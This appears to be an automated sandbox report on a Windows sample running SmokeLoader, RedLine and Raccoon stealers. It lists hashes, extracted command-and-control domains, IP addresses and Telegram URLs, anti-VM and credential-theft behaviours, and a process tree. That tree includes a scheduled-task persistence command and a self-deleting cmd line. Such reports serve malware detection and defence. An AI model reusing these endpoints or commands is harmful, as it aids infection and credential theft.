Analysis
-
max time kernel
150s -
max time network
152s -
platform
windows10_x64 -
resource
win10-en-20210920 -
submitted
26-09-2021 09:02
Static task
static1
Behavioral task
behavioral1
Sample
924b06fed5002d7dbc6004401b7a519f.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
924b06fed5002d7dbc6004401b7a519f.exe
Resource
win10-en-20210920
General
-
Target
924b06fed5002d7dbc6004401b7a519f.exe
-
Size
145KB
-
MD5
924b06fed5002d7dbc6004401b7a519f
-
SHA1
669962749b03a129e44c6eec9ef2804ec31493f4
-
SHA256
858a2b253b7e26188cffde5e58dfb08e4a26ef393f962958d6a1615c93f9917e
-
SHA512
7b9e2c6765077ebe4e438e86f805792b02e18e2cc4519184c80db4a975db40dec9969a950451f1cdce95a0648f8ff2347fce619e8b40551319ee69e5f577b486
Malware Config
Extracted
smokeloader
2020
http://naghenrietti1.top/
http://kimballiett2.top/
http://xadriettany3.top/
http://jebeccallis4.top/
http://nityanneron5.top/
http://umayaniela6.top/
http://lynettaram7.top/
http://sadineyalas8.top/
http://geenaldencia9.top/
http://aradysiusep10.top/
Extracted
redline
135.181.142.223:30397
Extracted
redline
installszxc
138.124.186.2:27999
Extracted
raccoon
f6d7183c9e82d2a9b81e6c0608450aa66cefb51f
-
url4cnc
https://t.me/justoprostohello
Extracted
raccoon
5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4
-
url4cnc
https://t.me/agrybirdsgamerept
Signatures
-
Modifies security service 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Start = "4" powershell.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 4 IoCs
Processes:
resource yara_rule behavioral2/memory/3308-146-0x000000000041C5CE-mapping.dmp family_redline behavioral2/memory/3308-145-0x0000000000400000-0x0000000000422000-memory.dmp family_redline C:\ProgramData\Stub.exe family_redline C:\ProgramData\Stub.exe family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt
suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Downloads MZ/PE file
-
Executes dropped EXE 18 IoCs
Processes:
F8EC.exeFBFB.exe429.exeF8EC.exeFBFB.exeD91.exeStub.exe1830.exe208E.exe2A82.exe2F94.exeowWzZ6oZYK.exeZenar.exeUpSys.exeUpSys.exeUpSys.exeMicrosoft_Edge.exesihost.exepid process 2640 F8EC.exe 2732 FBFB.exe 2256 429.exe 2320 F8EC.exe 3308 FBFB.exe 2328 D91.exe 3908 Stub.exe 760 1830.exe 1908 208E.exe 1912 2A82.exe 3872 2F94.exe 2628 owWzZ6oZYK.exe 1016 Zenar.exe 3120 UpSys.exe 1052 UpSys.exe 2364 UpSys.exe 1560 Microsoft_Edge.exe 2256 sihost.exe -
Modifies Windows Firewall 1 TTPs
-
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\Zenar.exe upx C:\Users\Admin\AppData\Local\Temp\Zenar.exe upx C:\ProgramData\MicrosoftNetwork\System.exe upx -
Checks BIOS information in registry 2 TTPs 8 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
429.exe208E.exe2A82.exeMicrosoft_Edge.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 429.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 208E.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 208E.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 2A82.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 2A82.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Microsoft_Edge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Microsoft_Edge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 429.exe -
Deletes itself 1 IoCs
Processes:
pid process 3036 -
Drops startup file 1 IoCs
Processes:
Zenar.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk Zenar.exe -
Loads dropped DLL 6 IoCs
Processes:
1830.exepid process 760 1830.exe 760 1830.exe 760 1830.exe 760 1830.exe 760 1830.exe 760 1830.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\429.exe themida C:\Users\Admin\AppData\Local\Temp\429.exe themida behavioral2/memory/2256-139-0x0000000001310000-0x0000000001311000-memory.dmp themida C:\Users\Admin\AppData\Local\Temp\208E.exe themida behavioral2/memory/1908-184-0x0000000000CA0000-0x0000000000CA1000-memory.dmp themida C:\Users\Admin\AppData\Local\Temp\2A82.exe themida behavioral2/memory/1912-215-0x0000000000290000-0x0000000000291000-memory.dmp themida C:\ProgramData\Systemd\Microsoft_Edge.exe themida C:\ProgramData\Systemd\Microsoft_Edge.exe themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
429.exe208E.exe2A82.exeMicrosoft_Edge.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 429.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 208E.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 2A82.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Microsoft_Edge.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
Processes:
429.exe208E.exe2A82.exeMicrosoft_Edge.exepid process 2256 429.exe 1908 208E.exe 1912 2A82.exe 1560 Microsoft_Edge.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
924b06fed5002d7dbc6004401b7a519f.exeF8EC.exeFBFB.exedescription pid process target process PID 2112 set thread context of 2376 2112 924b06fed5002d7dbc6004401b7a519f.exe 924b06fed5002d7dbc6004401b7a519f.exe PID 2640 set thread context of 2320 2640 F8EC.exe F8EC.exe PID 2732 set thread context of 3308 2732 FBFB.exe FBFB.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
924b06fed5002d7dbc6004401b7a519f.exeF8EC.exedescription ioc process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 924b06fed5002d7dbc6004401b7a519f.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI F8EC.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI F8EC.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI F8EC.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 924b06fed5002d7dbc6004401b7a519f.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 924b06fed5002d7dbc6004401b7a519f.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 3592 schtasks.exe 1808 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 3508 timeout.exe -
Modifies data under HKEY_USERS 52 IoCs
Processes:
powershell.exeUpSys.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" UpSys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ UpSys.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" UpSys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" UpSys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" UpSys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe -
Processes:
Zenar.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Zenar.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Zenar.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
924b06fed5002d7dbc6004401b7a519f.exepid process 2376 924b06fed5002d7dbc6004401b7a519f.exe 2376 924b06fed5002d7dbc6004401b7a519f.exe 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 3036 -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
pid process 3036 -
Suspicious behavior: MapViewOfSection 2 IoCs
Processes:
924b06fed5002d7dbc6004401b7a519f.exeF8EC.exepid process 2376 924b06fed5002d7dbc6004401b7a519f.exe 2320 F8EC.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
D91.exe429.exeFBFB.exeStub.exe208E.exedescription pid process Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeDebugPrivilege 2328 D91.exe Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeDebugPrivilege 2256 429.exe Token: SeDebugPrivilege 3308 FBFB.exe Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeDebugPrivilege 3908 Stub.exe Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeDebugPrivilege 1908 208E.exe Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 Token: SeCreatePagefilePrivilege 3036 Token: SeShutdownPrivilege 3036 -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
924b06fed5002d7dbc6004401b7a519f.exeFBFB.exeF8EC.exeD91.exe1830.execmd.exe2A82.exeowWzZ6oZYK.exeZenar.exepowershell.exedescription pid process target process PID 2112 wrote to memory of 2376 2112 924b06fed5002d7dbc6004401b7a519f.exe 924b06fed5002d7dbc6004401b7a519f.exe PID 2112 wrote to memory of 2376 2112 924b06fed5002d7dbc6004401b7a519f.exe 924b06fed5002d7dbc6004401b7a519f.exe PID 2112 wrote to memory of 2376 2112 924b06fed5002d7dbc6004401b7a519f.exe 924b06fed5002d7dbc6004401b7a519f.exe PID 2112 wrote to memory of 2376 2112 924b06fed5002d7dbc6004401b7a519f.exe 924b06fed5002d7dbc6004401b7a519f.exe PID 2112 wrote to memory of 2376 2112 924b06fed5002d7dbc6004401b7a519f.exe 924b06fed5002d7dbc6004401b7a519f.exe PID 2112 wrote to memory of 2376 2112 924b06fed5002d7dbc6004401b7a519f.exe 924b06fed5002d7dbc6004401b7a519f.exe PID 3036 wrote to memory of 2640 3036 F8EC.exe PID 3036 wrote to memory of 2640 3036 F8EC.exe PID 3036 wrote to memory of 2640 3036 F8EC.exe PID 3036 wrote to memory of 2732 3036 FBFB.exe PID 3036 wrote to memory of 2732 3036 FBFB.exe PID 3036 wrote to memory of 2732 3036 FBFB.exe PID 2732 wrote to memory of 3308 2732 FBFB.exe FBFB.exe PID 2732 wrote to memory of 3308 2732 FBFB.exe FBFB.exe PID 2732 wrote to memory of 3308 2732 FBFB.exe FBFB.exe PID 3036 wrote to memory of 2256 3036 429.exe PID 3036 wrote to memory of 2256 3036 429.exe PID 3036 wrote to memory of 2256 3036 429.exe PID 2640 wrote to memory of 2320 2640 F8EC.exe F8EC.exe PID 2640 wrote to memory of 2320 2640 F8EC.exe F8EC.exe PID 2640 wrote to memory of 2320 2640 F8EC.exe F8EC.exe PID 2640 wrote to memory of 2320 2640 F8EC.exe F8EC.exe PID 2640 wrote to memory of 2320 2640 F8EC.exe F8EC.exe PID 2640 wrote to memory of 2320 2640 F8EC.exe F8EC.exe PID 2732 wrote to memory of 3308 2732 FBFB.exe FBFB.exe PID 2732 wrote to memory of 3308 2732 FBFB.exe FBFB.exe PID 2732 wrote to memory of 3308 2732 FBFB.exe FBFB.exe PID 2732 wrote to memory of 3308 2732 FBFB.exe FBFB.exe PID 2732 wrote to memory of 3308 2732 FBFB.exe FBFB.exe PID 3036 wrote to memory of 2328 3036 D91.exe PID 3036 wrote to memory of 2328 3036 D91.exe PID 3036 wrote to memory of 2328 3036 D91.exe PID 2328 wrote to memory of 3908 2328 D91.exe Stub.exe PID 2328 wrote to memory of 3908 2328 D91.exe Stub.exe PID 2328 wrote to memory of 3908 2328 D91.exe Stub.exe PID 3036 wrote to memory of 760 3036 1830.exe PID 3036 wrote to memory of 760 3036 1830.exe PID 3036 wrote to memory of 760 3036 1830.exe PID 3036 wrote to memory of 1908 3036 208E.exe PID 3036 wrote to memory of 1908 3036 208E.exe PID 3036 wrote to memory of 1908 3036 208E.exe PID 3036 wrote to memory of 1912 3036 2A82.exe PID 3036 wrote to memory of 1912 3036 2A82.exe PID 3036 wrote to memory of 1912 3036 2A82.exe PID 3036 wrote to memory of 3872 3036 2F94.exe PID 3036 wrote to memory of 3872 3036 2F94.exe PID 3036 wrote to memory of 3872 3036 2F94.exe PID 760 wrote to memory of 2628 760 1830.exe owWzZ6oZYK.exe PID 760 wrote to memory of 2628 760 1830.exe owWzZ6oZYK.exe PID 760 wrote to memory of 2628 760 1830.exe owWzZ6oZYK.exe PID 760 wrote to memory of 2208 760 1830.exe cmd.exe PID 760 wrote to memory of 2208 760 1830.exe cmd.exe PID 760 wrote to memory of 2208 760 1830.exe cmd.exe PID 2208 wrote to memory of 3508 2208 cmd.exe timeout.exe PID 2208 wrote to memory of 3508 2208 cmd.exe timeout.exe PID 2208 wrote to memory of 3508 2208 cmd.exe timeout.exe PID 1912 wrote to memory of 1016 1912 2A82.exe Zenar.exe PID 1912 wrote to memory of 1016 1912 2A82.exe Zenar.exe PID 2628 wrote to memory of 3592 2628 owWzZ6oZYK.exe schtasks.exe PID 2628 wrote to memory of 3592 2628 owWzZ6oZYK.exe schtasks.exe PID 2628 wrote to memory of 3592 2628 owWzZ6oZYK.exe schtasks.exe PID 1016 wrote to memory of 1632 1016 Zenar.exe powershell.exe PID 1016 wrote to memory of 1632 1016 Zenar.exe powershell.exe PID 1632 wrote to memory of 3120 1632 powershell.exe UpSys.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\924b06fed5002d7dbc6004401b7a519f.exe"C:\Users\Admin\AppData\Local\Temp\924b06fed5002d7dbc6004401b7a519f.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\924b06fed5002d7dbc6004401b7a519f.exe"C:\Users\Admin\AppData\Local\Temp\924b06fed5002d7dbc6004401b7a519f.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\F8EC.exeC:\Users\Admin\AppData\Local\Temp\F8EC.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\F8EC.exeC:\Users\Admin\AppData\Local\Temp\F8EC.exe2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\FBFB.exeC:\Users\Admin\AppData\Local\Temp\FBFB.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\FBFB.exeC:\Users\Admin\AppData\Local\Temp\FBFB.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\429.exeC:\Users\Admin\AppData\Local\Temp\429.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\D91.exeC:\Users\Admin\AppData\Local\Temp\D91.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Stub.exe"C:\ProgramData\Stub.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1830.exeC:\Users\Admin\AppData\Local\Temp\1830.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\owWzZ6oZYK.exe"C:\Users\Admin\AppData\Local\Temp\owWzZ6oZYK.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\1830.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK3⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\208E.exeC:\Users\Admin\AppData\Local\Temp\208E.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\2A82.exeC:\Users\Admin\AppData\Local\Temp\2A82.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Zenar.exe"C:\Users\Admin\AppData\Local\Temp\Zenar.exe"2⤵
- Executes dropped EXE
- Drops startup file
- Modifies system certificate store
